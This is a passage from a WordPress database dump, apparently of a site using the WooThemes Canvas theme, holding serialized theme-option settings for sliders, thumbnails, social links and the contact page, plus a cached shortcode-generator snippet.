size.";s:2:"id";s:20:"woo_image_dimensions";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:16:"woo_magazine_f_w";s:4:"type";s:4:"text";s:3:"std";i:100;s:4:"meta";s:5:"Width";}i:1;a:4:{s:2:"id";s:16:"woo_magazine_f_h";s:4:"type";s:4:"text";s:3:"std";i:100;s:4:"meta";s:6:"Height";}}}i:155;a:6:{s:4:"name";s:29:"Featured Post Image Alignment";s:4:"desc";s:46:"Select how to align your featured post images.";s:2:"id";s:20:"woo_magazine_f_align";s:3:"std";s:9:"alignleft";s:4:"type";s:5:"radio";s:7:"options";a:3:{s:9:"alignleft";s:4:"Left";s:10:"alignright";s:5:"Right";s:11:"aligncenter";s:6:"Center";}}i:156;a:2:{s:4:"name";s:10:"Posts Grid";s:4:"type";s:10:"subheading";}i:157;a:6:{s:4:"name";s:29:"Post Content for "Grid" Posts";s:4:"desc";s:90:"Select if you want to show the full content or the excerpt on posts in the "Grid" section.";s:2:"id";s:30:"woo_magazine_grid_post_content";s:3:"std";s:7:"excerpt";s:4:"type";s:7:"select2";s:7:"options";a:2:{s:7:"excerpt";s:11:"The Excerpt";s:7:"content";s:12:"Full Content";}}i:158;a:5:{s:4:"name";s:21:"Post Title Font Style";s:4:"desc";s:34:"Specify typography for post title.";s:2:"id";s:33:"woo_magazine_grid_font_post_title";s:3:"std";a:5:{s:4:"size";s:2:"18";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:159;a:5:{s:4:"name";s:21:"Post Image Dimensions";s:4:"desc";s:51:"Enter an integer value i.e. 250 for the image size.";s:2:"id";s:20:"woo_image_dimensions";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:16:"woo_magazine_b_w";s:4:"type";s:4:"text";s:3:"std";i:100;s:4:"meta";s:5:"Width";}i:1;a:4:{s:2:"id";s:16:"woo_magazine_b_h";s:4:"type";s:4:"text";s:3:"std";i:100;s:4:"meta";s:6:"Height";}}}i:160;a:6:{s:4:"name";s:20:"Post Image Alignment";s:4:"desc";s:44:"Select how to align your normal post images.";s:2:"id";s:20:"woo_magazine_b_align";s:3:"std";s:9:"alignleft";s:4:"type";s:5:"radio";s:7:"options";a:3:{s:9:"alignleft";s:4:"Left";s:10:"alignright";s:5:"Right";s:11:"aligncenter";s:6:"Center";}}i:161;a:3:{s:4:"name";s:17:"Business Template";s:4:"icon";s:6:"layout";s:4:"type";s:7:"heading";}i:162;a:2:{s:4:"name";s:16:""Business" Setup";s:4:"type";s:10:"subheading";}i:163;a:5:{s:4:"name";s:22:"Business Page Template";s:4:"desc";s:0:"";s:2:"id";s:18:"woo_woo_biz_notice";s:3:"std";s:287:"Below you can control settings for the Business page template. Please refer to <a href="http://www.woothemes.com/support/theme-documentation/canvas/">documentation</a> on how to setup the page template. You can add slider posts with the <strong><em>Slides</em></strong> custom post type.";s:4:"type";s:4:"info";}i:164;a:5:{s:4:"name";s:22:"Disable Footer Widgets";s:4:"desc";s:44:"Disable the footer widgets on this template.";s:2:"id";s:30:"woo_biz_disable_footer_widgets";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:165;a:5:{s:4:"name";s:25:"Disable Slides Admin Menu";s:4:"desc";s:44:"Disable the slides admin menu functionality.";s:2:"id";s:22:"woo_biz_slides_disable";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:166;a:2:{s:4:"name";s:15:"Featured Slider";s:4:"type";s:10:"subheading";}i:167;a:5:{s:4:"name";s:15:"Featured Slider";s:4:"desc";s:27:"Enable the featured slider.";s:2:"id";s:14:"woo_slider_biz";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:168;a:5:{s:4:"name";s:17:"Full Width Slider";s:4:"desc";s:35:"Enable the slider to be full width.";s:2:"id";s:19:"woo_slider_biz_full";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:169;a:6:{s:4:"name";s:16:"Number of Slides";s:4:"desc";s:60:"Select how many slides you would like to show in the slider.";s:2:"id";s:21:"woo_slider_biz_number";s:3:"std";s:2:"10";s:4:"type";s:6:"select";s:7:"options";a:22:{i:0;s:16:"Select a number:";i:1;i:0;i:2;i:1;i:3;i:2;i:4;i:3;i:5;i:4;i:6;i:5;i:7;i:6;i:8;i:7;i:9;i:8;i:10;i:9;i:11;i:10;i:12;i:11;i:13;i:12;i:14;i:13;i:15;i:14;i:16;i:15;i:17;i:16;i:18;i:17;i:19;i:18;i:20;i:19;i:21;i:20;}}i:170;a:6:{s:4:"name";s:11:"Slide Group";s:4:"desc";s:69:"Optionally choose to display only slides from a specific slide group.";s:2:"id";s:26:"woo_slider_biz_slide_group";s:3:"std";s:1:"0";s:4:"type";s:7:"select2";s:7:"options";a:1:{i:0;s:21:"Select a Slide Group:";}}i:171;a:6:{s:4:"name";s:13:"Display Order";s:4:"desc";s:55:"Select the order in which you want to show your slides.";s:2:"id";s:20:"woo_slider_biz_order";s:4:"type";s:7:"select2";s:3:"std";s:4:"DESC";s:7:"options";a:2:{s:4:"DESC";s:12:"Newest first";s:3:"ASC";s:12:"Oldest first";}}i:172;a:6:{s:4:"name";s:21:"Featured Slider Title";s:4:"desc";s:76:"Show the page title in slider when using Featured Image as background image.";s:2:"id";s:20:"woo_slider_biz_title";s:3:"std";s:4:"true";s:5:"class";s:9:"collapsed";s:4:"type";s:8:"checkbox";}i:173;a:6:{s:4:"name";s:32:"Featured Slider Title Font Style";s:4:"desc";s:58:"Select typography for title (when using image background).";s:2:"id";s:25:"woo_slider_biz_font_title";s:3:"std";a:5:{s:4:"size";s:2:"24";s:4:"unit";s:2:"px";s:4:"face";s:17:"Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#ffffff";}s:5:"class";s:11:"hidden last";s:4:"type";s:10:"typography";}i:174;a:5:{s:4:"name";s:34:"Featured Slider Content Font Style";s:4:"desc";s:65:"Select typography for content text (when using image background).";s:2:"id";s:27:"woo_slider_biz_font_excerpt";s:3:"std";a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:17:"Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#cccccc";}s:4:"type";s:10:"typography";}i:175;a:6:{s:4:"name";s:31:"Featured Slider Content Overlay";s:4:"desc";s:111:"Select the position of the slider content overlay which is shown when using a featured image in the slide post.";s:2:"id";s:22:"woo_slider_biz_overlay";s:4:"type";s:7:"select2";s:3:"std";s:6:"bottom";s:7:"options";a:6:{s:4:"none";s:4:"None";s:4:"left";s:4:"Left";s:5:"right";s:5:"Right";s:6:"bottom";s:6:"Bottom";s:6:"center";s:6:"Center";s:4:"full";s:4:"Full";}}i:176;a:3:{s:4:"name";s:15:"Slider Settings";s:4:"icon";s:6:"slider";s:4:"type";s:7:"heading";}i:177;a:5:{s:4:"name";s:15:"Slider Settings";s:4:"desc";s:0:"";s:2:"id";s:21:"woo_woo_slider_notice";s:3:"std";s:107:"Below you can control the generic slider settings which will apply to both Business and Magazine templates.";s:4:"type";s:4:"info";}i:178;a:5:{s:4:"name";s:10:"Auto Start";s:4:"desc";s:86:"Set the slider to start sliding automatically. Adjust the speed of sliding underneath.";s:2:"id";s:15:"woo_slider_auto";s:3:"std";s:4:"true";s:4:"type";s:8:"checkbox";}i:179;a:5:{s:4:"name";s:11:"Hover Pause";s:4:"desc";s:37:"Hovering over slideshow will pause it";s:2:"id";s:16:"woo_slider_hover";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:180;a:6:{s:4:"name";s:15:"Animation Speed";s:4:"desc";s:74:"The time in <b>seconds</b> the animation between frames will take e.g. 0.6";s:2:"id";s:16:"woo_slider_speed";s:3:"std";d:0.59999999999999997779553950749686919152736663818359375;s:4:"type";s:6:"select";s:7:"options";a:21:{i:0;s:3:"0.0";i:1;s:3:"0.1";i:2;s:3:"0.2";i:3;s:3:"0.3";i:4;s:3:"0.4";i:5;s:3:"0.5";i:6;s:3:"0.6";i:7;s:3:"0.7";i:8;s:3:"0.8";i:9;s:3:"0.9";i:10;s:3:"1.0";i:11;s:3:"1.1";i:12;s:3:"1.2";i:13;s:3:"1.3";i:14;s:3:"1.4";i:15;s:3:"1.5";i:16;s:3:"1.6";i:17;s:3:"1.7";i:18;s:3:"1.8";i:19;s:3:"1.9";i:20;s:3:"2.0";}}i:181;a:6:{s:4:"name";s:19:"Auto Slide Interval";s:4:"desc";s:118:"The time in <b>seconds</b> each slide pauses for, before sliding to the next. Only when using Auto Start option above.";s:2:"id";s:19:"woo_slider_interval";s:3:"std";s:1:"4";s:4:"type";s:6:"select";s:7:"options";a:10:{i:0;s:1:"1";i:1;s:1:"2";i:2;s:1:"3";i:3;s:1:"4";i:4;s:1:"5";i:5;s:1:"6";i:6;s:1:"7";i:7;s:1:"8";i:8;s:1:"9";i:9;s:2:"10";}}i:182;a:6:{s:4:"name";s:22:"Features Slider Effect";s:4:"desc";s:90:"Select the effect used when transitioning between posts (default: <strong>slide</strong>).";s:2:"id";s:17:"woo_slider_effect";s:4:"type";s:7:"select2";s:3:"std";s:5:"slide";s:7:"options";a:2:{s:5:"slide";s:5:"Slide";s:4:"fade";s:4:"Fade";}}i:183;a:5:{s:4:"name";s:17:"Slider Pagination";s:4:"desc";s:56:"Enable/disable the display of pagination in the sliders.";s:2:"id";s:21:"woo_slider_pagination";s:3:"std";s:4:"true";s:4:"type";s:8:"checkbox";}i:184;a:3:{s:4:"name";s:14:"Dynamic Images";s:4:"icon";s:5:"image";s:4:"type";s:7:"heading";}i:185;a:2:{s:4:"name";s:16:"Resizer Settings";s:4:"type";s:10:"subheading";}i:186;a:5:{s:4:"name";s:22:"Dynamic Image Resizing";s:4:"desc";s:0:"";s:2:"id";s:18:"woo_wpthumb_notice";s:3:"std";s:161:"There are two alternative methods of dynamically resizing the thumbnails in the theme, <strong>WP Post Thumbnail</strong> (default) or <strong>TimThumb</strong>.";s:4:"type";s:4:"info";}i:187;a:6:{s:4:"name";s:17:"WP Post Thumbnail";s:4:"desc";s:170:"Use WordPress post thumbnail to assign a post thumbnail. Will enable the <strong>Featured Image panel</strong> in your post sidebar where you can assign a post thumbnail.";s:2:"id";s:22:"woo_post_image_support";s:3:"std";s:4:"true";s:5:"class";s:9:"collapsed";s:4:"type";s:8:"checkbox";}i:188;a:6:{s:4:"name";s:42:"WP Post Thumbnail - Dynamic Image Resizing";s:4:"desc";s:113:"The post thumbnail will be dynamically resized using native WP resize functionality. <em>(Requires PHP 5.2+)</em>";s:2:"id";s:14:"woo_pis_resize";s:3:"std";s:4:"true";s:5:"class";s:6:"hidden";s:4:"type";s:8:"checkbox";}i:189;a:6:{s:4:"name";s:29:"WP Post Thumbnail - Hard Crop";s:4:"desc";s:126:"The post thumbnail will be cropped to match the target aspect ratio (only used if <em>Dynamic Image Resizing</em> is enabled).";s:2:"id";s:17:"woo_pis_hard_crop";s:3:"std";s:4:"true";s:5:"class";s:11:"hidden last";s:4:"type";s:8:"checkbox";}i:190;a:5:{s:4:"name";s:8:"TimThumb";s:4:"desc";s:268:"This will enable the <a href="http://code.google.com/p/timthumb/">TimThumb</a> (thumb.php) script which dynamically resizes images added through the <strong>custom settings panel</strong>  below the post editor. Make sure your themes <em>cache</em> folder is writable.";s:2:"id";s:10:"woo_resize";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:191;a:5:{s:4:"name";s:25:"Automatic Image Thumbnail";s:4:"desc";s:79:"If no thumbnail is specified then the first uploaded image in the post is used.";s:2:"id";s:12:"woo_auto_img";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:192;a:2:{s:4:"name";s:18:"Thumbnail Settings";s:4:"type";s:10:"subheading";}i:193;a:5:{s:4:"name";s:20:"Thumbnail Dimensions";s:4:"desc";s:109:"Enter an integer value i.e. 250 for the desired size which will be used when dynamically creating the images.";s:2:"id";s:20:"woo_image_dimensions";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:11:"woo_thumb_w";s:4:"type";s:4:"text";s:3:"std";s:3:"100";s:4:"meta";s:5:"Width";}i:1;a:4:{s:2:"id";s:11:"woo_thumb_h";s:4:"type";s:4:"text";s:3:"std";i:100;s:4:"meta";s:6:"Height";}}}i:194;a:6:{s:4:"name";s:19:"Thumbnail Alignment";s:4:"desc";s:47:"Select how to align your thumbnails with posts.";s:2:"id";s:15:"woo_thumb_align";s:3:"std";s:9:"alignleft";s:4:"type";s:5:"radio";s:7:"options";a:3:{s:9:"alignleft";s:4:"Left";s:10:"alignright";s:5:"Right";s:11:"aligncenter";s:6:"Center";}}i:195;a:5:{s:4:"name";s:28:"Single Post - Show Thumbnail";s:4:"desc";s:43:"Show the thumbnail in the single post page.";s:2:"id";s:16:"woo_thumb_single";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:196;a:5:{s:4:"name";s:34:"Single Post - Thumbnail Dimensions";s:4:"desc";s:51:"Enter an integer value i.e. 250 for the image size.";s:2:"id";s:20:"woo_image_dimensions";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:12:"woo_single_w";s:4:"type";s:4:"text";s:3:"std";i:200;s:4:"meta";s:5:"Width";}i:1;a:4:{s:2:"id";s:12:"woo_single_h";s:4:"type";s:4:"text";s:3:"std";i:200;s:4:"meta";s:6:"Height";}}}i:197;a:6:{s:4:"name";s:33:"Single Post - Thumbnail Alignment";s:4:"desc";s:54:"Select how to align your thumbnails with single posts.";s:2:"id";s:22:"woo_thumb_align_single";s:3:"std";s:10:"alignright";s:4:"type";s:5:"radio";s:7:"options";a:3:{s:9:"alignleft";s:4:"Left";s:10:"alignright";s:5:"Right";s:11:"aligncenter";s:6:"Center";}}i:198;a:5:{s:4:"name";s:30:"Add Featured Image to RSS feed";s:4:"desc";s:39:"Add the featured image to your RSS feed";s:2:"id";s:13:"woo_rss_thumb";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:199;a:5:{s:4:"name";s:15:"Enable Lightbox";s:4:"desc";s:79:"Enable the PrettyPhoto lightbox script on images within your website''s content.";s:2:"id";s:19:"woo_enable_lightbox";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:200;a:3:{s:4:"name";s:19:"Subscribe & Connect";s:4:"type";s:7:"heading";s:4:"icon";s:7:"connect";}i:201;a:2:{s:4:"name";s:9:"S&C Setup";s:4:"type";s:10:"subheading";}i:202;a:5:{s:4:"name";s:40:"Enable Subscribe & Connect - Single Post";s:4:"desc";s:159:"Enable the subscribe & connect area on single posts. You can also add this as a <a href="http://whc.fbdev.org/wp-admin/widgets.php">widget</a> in your sidebar.";s:2:"id";s:11:"woo_connect";s:3:"std";s:4:"true";s:4:"type";s:8:"checkbox";}i:203;a:5:{s:4:"name";s:15:"Subscribe Title";s:4:"desc";s:57:"Enter the title to show in your subscribe & connect area.";s:2:"id";s:17:"woo_connect_title";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:204;a:5:{s:4:"name";s:4:"Text";s:4:"desc";s:37:"Change the default text in this area.";s:2:"id";s:19:"woo_connect_content";s:3:"std";s:0:"";s:4:"type";s:8:"textarea";}i:205;a:5:{s:4:"name";s:20:"Enable Related Posts";s:4:"desc";s:158:"Enable related posts in the subscribe area. Uses posts with the same <strong>tags</strong> to find related posts. Note: Will not show in the Subscribe widget.";s:2:"id";s:19:"woo_connect_related";s:3:"std";s:4:"true";s:4:"type";s:8:"checkbox";}i:206;a:2:{s:4:"name";s:9:"Subscribe";s:4:"type";s:10:"subheading";}i:207;a:5:{s:4:"name";s:35:"Subscribe By E-mail ID (Feedburner)";s:4:"desc";s:162:"Enter your <a href="http://www.woothemes.com/tutorials/how-to-find-your-feedburner-id-for-email-subscription/">Feedburner ID</a> for the e-mail subscription form.";s:2:"id";s:25:"woo_connect_newsletter_id";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:208;a:5:{s:4:"name";s:32:"Subscribe By E-mail to MailChimp";s:4:"desc";s:216:"If you have a MailChimp account you can enter the <a href="http://docs.woothemes.com/document/canvas/#section-20" target="_blank">MailChimp List Subscribe URL</a> to allow your users to subscribe to a MailChimp List.";s:2:"id";s:30:"woo_connect_mailchimp_list_url";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:209;a:2:{s:4:"name";s:7:"Connect";s:4:"type";s:10:"subheading";}i:210;a:5:{s:4:"name";s:10:"Enable RSS";s:4:"desc";s:34:"Enable the subscribe and RSS icon.";s:2:"id";s:15:"woo_connect_rss";s:3:"std";s:4:"true";s:4:"type";s:8:"checkbox";}i:211;a:5:{s:4:"name";s:11:"Twitter URL";s:4:"desc";s:99:"Enter your  <a href="http://www.twitter.com/">Twitter</a> URL e.g. http://www.twitter.com/woothemes";s:2:"id";s:19:"woo_connect_twitter";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:212;a:5:{s:4:"name";s:12:"Facebook URL";s:4:"desc";s:102:"Enter your  <a href="http://www.facebook.com/">Facebook</a> URL e.g. http://www.facebook.com/woothemes";s:2:"id";s:20:"woo_connect_facebook";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:213;a:5:{s:4:"name";s:11:"YouTube URL";s:4:"desc";s:99:"Enter your  <a href="http://www.youtube.com/">YouTube</a> URL e.g. http://www.youtube.com/woothemes";s:2:"id";s:19:"woo_connect_youtube";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:214;a:5:{s:4:"name";s:10:"Flickr URL";s:4:"desc";s:96:"Enter your  <a href="http://www.flickr.com/">Flickr</a> URL e.g. http://www.flickr.com/woothemes";s:2:"id";s:18:"woo_connect_flickr";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:215;a:5:{s:4:"name";s:12:"LinkedIn URL";s:4:"desc";s:113:"Enter your  <a href="http://www.www.linkedin.com.com/">LinkedIn</a> URL e.g. http://www.linkedin.com/in/woothemes";s:2:"id";s:20:"woo_connect_linkedin";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:216;a:5:{s:4:"name";s:13:"Delicious URL";s:4:"desc";s:104:"Enter your <a href="http://www.delicious.com/">Delicious</a> URL e.g. http://www.delicious.com/woothemes";s:2:"id";s:21:"woo_connect_delicious";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:217;a:5:{s:4:"name";s:11:"Google+ URL";s:4:"desc";s:112:"Enter your <a href="http://plus.google.com/">Google+</a> URL e.g. https://plus.google.com/104560124403688998123/";s:2:"id";s:22:"woo_connect_googleplus";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:218;a:5:{s:4:"name";s:8:"Dribbble";s:4:"desc";s:93:"Enter your <a href="http://dribbble.com/">Dribbble</a> URL e.g. http://dribbble.com/woothemes";s:2:"id";s:20:"woo_connect_dribbble";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:219;a:5:{s:4:"name";s:9:"Instagram";s:4:"desc";s:95:"Enter your <a href="http://instagram.com">Instagram</a> URL e.g. http://instagram.com/woothemes";s:2:"id";s:21:"woo_connect_instagram";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:220;a:5:{s:4:"name";s:5:"Vimeo";s:4:"desc";s:84:"Enter your <a href="http://vimeo.com/">Vimeo</a> URL e.g. http://vimeo.com/woothemes";s:2:"id";s:17:"woo_connect_vimeo";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:221;a:5:{s:4:"name";s:9:"Pinterest";s:4:"desc";s:96:"Enter your <a href="http://pinterest.com/">Pinterest</a> URL e.g. http://pinterest.com/woothemes";s:2:"id";s:21:"woo_connect_pinterest";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:222;a:3:{s:4:"name";s:12:"Contact Page";s:4:"icon";s:4:"maps";s:4:"type";s:7:"heading";}i:223;a:2:{s:4:"name";s:19:"Contact Information";s:4:"type";s:10:"subheading";}i:224;a:6:{s:4:"name";s:25:"Contact Information Panel";s:4:"desc";s:67:"Enable the contact information panel on your contact page template.";s:2:"id";s:17:"woo_contact_panel";s:3:"std";s:5:"false";s:5:"class";s:9:"collapsed";s:4:"type";s:8:"checkbox";}i:225;a:6:{s:4:"name";s:13:"Location Name";s:4:"desc";s:47:"Enter the location name. Example: London Office";s:2:"id";s:17:"woo_contact_title";s:3:"std";s:0:"";s:5:"class";s:6:"hidden";s:4:"type";s:4:"text";}i:226;a:6:{s:4:"name";s:16:"Location Address";s:4:"desc";s:28:"Enter your company''s address";s:2:"id";s:19:"woo_contact_address";s:3:"std";s:0:"";s:5:"class";s:6:"hidden";s:4:"type";s:8:"textarea";}i:227;a:6:{s:4:"name";s:9:"Telephone";s:4:"desc";s:27:"Enter your telephone number";s:2:"id";s:18:"woo_contact_number";s:3:"std";s:0:"";s:5:"class";s:6:"hidden";s:4:"type";s:4:"text";}i:228;a:6:{s:4:"name";s:3:"Fax";s:4:"desc";s:21:"Enter your fax number";s:2:"id";s:15:"woo_contact_fax";s:3:"std";s:0:"";s:5:"class";s:11:"hidden last";s:4:"type";s:4:"text";}i:229;a:5:{s:4:"name";s:19:"Contact Form E-Mail";s:4:"desc";s:69:"Enter your E-mail address to use on the "Contact Form" page Template.";s:2:"id";s:21:"woo_contactform_email";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:230;a:5:{s:4:"name";s:28:"Enable Subscribe and Connect";s:4:"desc";s:75:"Enable the subscribe and connect functionality on the contact page template";s:2:"id";s:33:"woo_contact_subscribe_and_connect";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:231;a:2:{s:4:"name";s:4:"Maps";s:4:"type";s:10:"subheading";}i:232;a:5:{s:4:"name";s:36:"Contact Form Google Maps Coordinates";s:4:"desc";s:192:"Enter your Google Map coordinates to display a map on the Contact Form page template. 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This could improve usability on your site.";s:2:"id";s:15:"woo_maps_scroll";s:3:"std";s:0:"";s:4:"type";s:8:"checkbox";}i:234;a:5:{s:4:"name";s:10:"Map Height";s:4:"desc";s:60:"Height in pixels for the maps displayed on Single.php pages.";s:2:"id";s:22:"woo_maps_single_height";s:3:"std";s:3:"250";s:4:"type";s:4:"text";}i:235;a:6:{s:4:"name";s:22:"Default Map Zoom Level";s:4:"desc";s:63:"Set this to adjust the default in the post & page edit backend.";s:2:"id";s:24:"woo_maps_default_mapzoom";s:3:"std";s:1:"9";s:4:"type";s:7:"select2";s:7:"options";a:23:{i:0;s:16:"Select a number:";i:1;s:1:"0";i:2;i:0;i:3;i:1;i:4;i:2;i:5;i:3;i:6;i:4;i:7;i:5;i:8;i:6;i:9;i:7;i:10;i:8;i:11;i:9;i:12;i:10;i:13;i:11;i:14;i:12;i:15;i:13;i:16;i:14;i:17;i:15;i:18;i:16;i:19;i:17;i:20;i:18;i:21;i:19;i:22;i:20;}}i:236;a:6:{s:4:"name";s:16:"Default Map Type";s:4:"desc";s:53:"Set this to the default rendered in the post backend.";s:2:"id";s:24:"woo_maps_default_maptype";s:3:"std";s:12:"G_NORMAL_MAP";s:4:"type";s:7:"select2";s:7:"options";a:4:{s:12:"G_NORMAL_MAP";s:6:"Normal";s:15:"G_SATELLITE_MAP";s:9:"Satellite";s:12:"G_HYBRID_MAP";s:6:"Hybrid";s:14:"G_PHYSICAL_MAP";s:7:"Terrain";}}i:237;a:5:{s:4:"name";s:16:"Map Callout Text";s:4:"desc";s:84:"Text or HTML that will be output when you click on the map marker for your location.";s:2:"id";s:21:"woo_maps_callout_text";s:3:"std";s:0:"";s:4:"type";s:8:"textarea";}}', 'yes');
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
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(44614, 'woo_themename', 'Canvas', 'yes'),
(44615, 'woo_shortname', 'woo', 'yes'),
(44616, 'woo_manual', 'http://docs.woothemes.com/document/canvas/', 'yes'),
(44617, 'woo_custom_template', 'a:10:{i:0;a:5:{s:4:"name";s:6:"layout";s:5:"label";s:6:"Layout";s:4:"type";s:6:"images";s:4:"desc";s:75:"Select a specific layout for this post/page. Overrides default site layout.";s:7:"options";a:7:{s:0:"";s:77:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/layout-off.png";s:7:"one-col";s:69:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/1c.png";s:12:"two-col-left";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/2cl.png";s:13:"two-col-right";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/2cr.png";s:14:"three-col-left";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cl.png";s:16:"three-col-middle";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cm.png";s:15:"three-col-right";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cr.png";}}i:1;a:4:{s:4:"name";s:5:"embed";s:5:"label";s:5:"Embed";s:4:"type";s:8:"textarea";s:4:"desc";s:67:"Enter embed code for use on single posts and with the Video widget.";}i:2;a:4:{s:4:"name";s:3:"url";s:5:"label";s:3:"URL";s:4:"type";s:4:"text";s:4:"desc";s:69:"Enter URL if you want to add a link to the uploaded image. (optional)";}i:3;a:5:{s:4:"name";s:5:"embed";s:3:"std";s:0:"";s:5:"label";s:16:"Video Embed Code";s:4:"type";s:8:"textarea";s:4:"desc";s:103:"Enter the video embed code for your video (YouTube, Vimeo or similar). Will show instead of your image.";}s:12:"lightbox-url";a:4:{s:4:"name";s:12:"lightbox-url";s:5:"label";s:12:"Lightbox URL";s:4:"type";s:4:"text";s:4:"desc";s:176:"Enter an optional URL to show in the <a href="http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/">PrettyPhoto lightbox</a> for this portfolio item.";}s:11:"testimonial";a:4:{s:4:"name";s:11:"testimonial";s:5:"label";s:11:"Testimonial";s:4:"type";s:8:"textarea";s:4:"desc";s:81:"Enter a testimonial from your client to be displayed on the single portfolio page";}s:18:"testimonial_author";a:4:{s:4:"name";s:18:"testimonial_author";s:5:"label";s:18:"Testimonial Author";s:4:"type";s:4:"text";s:4:"desc";s:63:"Enter the name of the author of the testimonial e.g. Joe Bloggs";}i:4;a:4:{s:4:"name";s:3:"url";s:5:"label";s:3:"URL";s:4:"type";s:4:"text";s:4:"desc";s:42:"Enter URL of your clients site. (optional)";}i:5;a:6:{s:4:"name";s:11:"_slide-page";s:3:"std";s:0:"";s:5:"label";s:11:"Slide Group";s:4:"type";s:7:"select2";s:4:"desc";s:78:"Optionally select a "Slide Group" to show slides from only that "Slide Group".";s:7:"options";a:1:{i:0;s:3:"All";}}i:6;a:5:{s:4:"name";s:6:"layout";s:5:"label";s:6:"Layout";s:4:"type";s:6:"images";s:4:"desc";s:75:"Select a specific layout for this post/page. Overrides default site layout.";s:7:"options";a:7:{s:0:"";s:77:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/layout-off.png";s:7:"one-col";s:69:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/1c.png";s:12:"two-col-left";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/2cl.png";s:13:"two-col-right";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/2cr.png";s:14:"three-col-left";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cl.png";s:16:"three-col-middle";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cm.png";s:15:"three-col-right";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cr.png";}}}', 'yes'),
(50191, '_transient_timeout_su/generator/popup', '1462651790', 'no'),
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columns" data-desc="Flexible and responsive columns" data-group="box"><i class="fa fa-columns"></i>Column</span>\n<span data-name="List" data-shortcode="list" title="Styled unordered list" data-desc="Styled unordered list" data-group="content"><i class="fa fa-list-ol"></i>List</span>\n<span data-name="Button" data-shortcode="button" title="Styled button" data-desc="Styled button" data-group="content"><i class="fa fa-heart"></i>Button</span>\n<span data-name="Service" data-shortcode="service" title="Service box with title" data-desc="Service box with title" data-group="box"><i class="fa fa-check-square-o"></i>Service</span>\n<span data-name="Box" data-shortcode="box" title="Colored box with caption" data-desc="Colored box with caption" data-group="box"><i class="fa fa-list-alt"></i>Box</span>\n<span data-name="Note" data-shortcode="note" title="Colored box" data-desc="Colored box" data-group="box"><i class="fa fa-list-alt"></i>Note</span>\n<span data-name="Expand" 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data-shortcode="audio" title="Custom audio player" data-desc="Custom audio player" data-group="media"><i class="fa fa-play-circle"></i>Audio</span>\n<span data-name="Video" data-shortcode="video" title="Custom video player" data-desc="Custom video player" data-group="media"><i class="fa fa-play-circle"></i>Video</span>\n<span data-name="Table" data-shortcode="table" title="Styled table from HTML or CSV file" data-desc="Styled table from HTML or CSV file" data-group="content"><i class="fa fa-table"></i>Table</span>\n<span data-name="Permalink" data-shortcode="permalink" title="Permalink to specified post/page" data-desc="Permalink to specified post/page" data-group="content other"><i class="fa fa-link"></i>Permalink</span>\n<span data-name="Members" data-shortcode="members" title="Content for logged in members only" data-desc="Content for logged in members only" data-group="other"><i class="fa fa-lock"></i>Members</span>\n<span data-name="Guests" data-shortcode="guests" title="Content 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(45080, 'series_children', 'a:0:{}', 'yes'),
(44624, 'woo_logo', 'http://whc.fbdev.org/wp-content/uploads/2015/09/logo.jpg', 'yes'),
(44625, 'woo_comments', 'post', 'yes'),
(44626, 'woo_post_content', 'excerpt', 'yes'),
(44627, 'woo_breadcrumbs_show', 'false', 'yes'),
(44628, 'woo_pagination_type', 'simple', 'yes'),
(44629, 'woo_ad_top', 'false', 'yes'),
(44630, 'woo_ad_top_image', 'http://www.woothemes.com/ads/468x60b.jpg', 'yes'),
(44631, 'woo_ad_top_url', 'http://www.woothemes.com', 'yes'),
